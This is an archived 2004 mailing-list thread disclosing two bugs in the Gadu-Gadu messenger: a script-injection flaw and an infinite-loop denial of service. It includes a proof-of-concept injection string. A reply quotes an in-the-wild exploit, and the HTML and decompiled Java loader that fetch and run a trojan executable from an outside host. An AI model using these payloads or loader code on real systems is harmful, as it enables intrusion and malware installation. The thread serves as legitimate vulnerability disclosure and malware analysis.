Google Groups Home
Help | Sign in
Gadu-Gadu, another two bugs
There are currently too many topics in this group that display first. To make this topic appear first, remove this option from another topic.
There was an error processing your request. Please try again.
flag
  4 messages - Collapse all  -  Translate all to Translated (View all originals)
The group you are posting to is a Usenet group. Messages posted to this group will make your email address visible to anyone on the Internet.
Your reply message has not been sent.
Your post was successful
 
From:
To:
Cc:
Followup To:
Add Cc | Add Followup-to | Edit Subject
Subject:
Validation:
For verification purposes please type the characters you see in the picture below or the numbers you hear by clicking the accessibility icon. Listen and type the numbers you hear
 
Jaroslaw Sajko  
View profile  
 More options Dec 17 2004, 5:23 am
From: Jaroslaw Sajko <sl...@man.poznan.pl>
Date: Fri, 17 Dec 2004 11:23:38 +0100 (CET)
Local: Fri, Dec 17 2004 5:23 am
Subject: Gadu-Gadu, another two bugs

Product:        Gadu-Gadu, build 155 and older
Vendor:         SMS-EXPRESS.COM (http://www.gadu-gadu.pl)
Impact:         Script execution in local zone,
                Remote DoS
Severity:       High
Authors:        Blazej Miga <b...@man.poznan.pl>,
                Jaroslaw Sajko <sl...@man.poznan.pl>
Date:           17/12/04

[ISSUE]

Gadu-Gadu is the first Polish instant messenger used by ca. 3 millions of
people per month.

In addition to the last vulnerabilities there are two another
vulnerabilities in the build which have been released after our last
advisory.

[DETAILS]

Bug 1.
Parsing error. We can send a malicious string which has an url inside.
This url can be a javascript code for example or reference to such a code.
Code will execute when the window with message pops up. Code will execute
in LOCAL ZONE! Works also with older versions.

Example:

Send such a string to any receipent:
www.po"style=background-image:url(javascript:document.write('%3cscript%3ealert%28 %22you%20are%20owned!%22%29%3c%2fscript%3e'));".pl

Bug 2.
Beacause in this build default configuration allows sending of the images
we can send an image. There is some new feature, a loop checking filename
for disallowed characters, but the loop under some circumstances is an
infinite loop. So, if an image name isn't starting with the '..', '/', '\'
or '&#' then Gadu-Gadu applications falls into infinite loop, consumes
resources, and will not receive or send any message anymore. So we have a
simple DoS (livelock).

Example:

Send any image (filename must be a 'normal' filename) to your friend.

[SOLUTION]

Please upgrade to the newest build (build 156).


    Reply to author    Forward  
You must Sign in before you can post messages.
To post a message you must first join this group.
Please update your nickname on the subscription settings page before posting.
You do not have the permission required to post.
Przemyslaw Frasunek  
View profile  
 More options Dec 20 2004, 12:20 pm
From: Przemyslaw Frasunek <veng...@freebsd.lublin.pl>
Date: Mon, 20 Dec 2004 18:20:37 +0100
Local: Mon, Dec 20 2004 12:20 pm
Subject: Re: Gadu-Gadu, another two bugs

Jaroslaw Sajko wrote:
> Send such a string to any receipent:
> www.po"style=background-image:url(javascript:document.write('%3cscript%3ealert%28 %22you%20are%20owned!%22%29%3c%2fscript%3e'));".pl

Beware, this bug is being already exploited in the wild. I have just received
the following message from WWW to GG gateway (gg# 7021349):

www.po"style=background-image:url(javascript:window.open('http://iframedollars.biz/dl/adv407.php','','left=10000'));".pl

The adv407.php file contains the following HTML code:

[html][head]
[/head][body]
[textarea id="cxw" style="display:none;"]
     [object data="${PR}" type="text/x-scriptlet"][/object]
[/textarea]

[script language="javascript"]
document.write(cxw.value.replace(/\${PR}/g,'&#109;s-its:mhtml:file://c:\\no such.mht!http://iframedollars.biz/dl/adv407/x.chm::/x.htm'));
[/script]
[applet width=1 height=1 ARCHIVE=loaderadv407.jar
code=Counter][/APPLET][/body][/html]

After downloading and decompiling loaderadv407.jar I noticed, that it does:

URL url1 = new URL("http://iframedollars.biz/dl/loadadv407.exe");
URLConnection urlconnection = url1.openConnection();
[...]
FileOutputStream fileoutputstream = new FileOutputStream(s4 + "\\loadnew.exe");
[...]
as[0] = s4 + "\\loadnew.exe";
Process process = Runtime.getRuntime().exec(as);

Clamav recognizes this binary as Trojan.Qhost.O.

--
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE *
* JID: veng...@jabber.atman.pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV *


    Reply to author    Forward  
You must Sign in before you can post messages.
To post a message you must first join this group.
Please update your nickname on the subscription settings page before posting.
You do not have the permission required to post.
Maciej Soltysiak  
View profile  
 More options Dec 20 2004, 4:43 pm
From: "Maciej Soltysiak" <mac...@soltysiak.com>
Date: Mon, 20 Dec 2004 22:43:07 +0100
Local: Mon, Dec 20 2004 4:43 pm
Subject: Re: [Full-Disclosure] Re: Gadu-Gadu, another two bugs
> Beware, this bug is being already exploited in the wild. I have just
> received the following message from WWW to GG gateway (gg# 7021349):

I recomend all Gadu-Gadu users to turn on the option that does not show
messages from unknown users.

This option appeared in version 6.0 build 151 or so (at leat 150 does not
have this)

This might mitigate this and other exploits sent in messages, and those
are mostly from unknown users.

Of course it is best to upgrade to the current version too :-)

Best Regards,
Maciej Soltysiak


    Reply to author    Forward  
You must Sign in before you can post messages.
To post a message you must first join this group.
Please update your nickname on the subscription settings page before posting.
You do not have the permission required to post.
l...@server.gwsh.gda.pl  
View profile  
 More options Dec 20 2004, 8:09 am
From: l...@server.gwsh.gda.pl
Date: Mon, 20 Dec 2004 14:09:45 +0100
Local: Mon, Dec 20 2004 8:09 am
Subject: [Full-Disclosure] Re: Gadu-Gadu, another two bugs

tlen.pl - another polish IM was also vulunerable to Bug1
they fixed it in 5.23.4.2 and (as I was told) they now block it on the servers, but you can check it
locally on your own client

__
Regards,
Michal Grzedzicki

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


    Reply to author    Forward  
You must Sign in before you can post messages.
To post a message you must first join this group.
Please update your nickname on the subscription settings page before posting.
You do not have the permission required to post.
End of messages
« Back to Discussions « Newer topic     Older topic »

Create a group - Google Groups - Google Home - Terms of Service - Privacy Policy
©2009 Google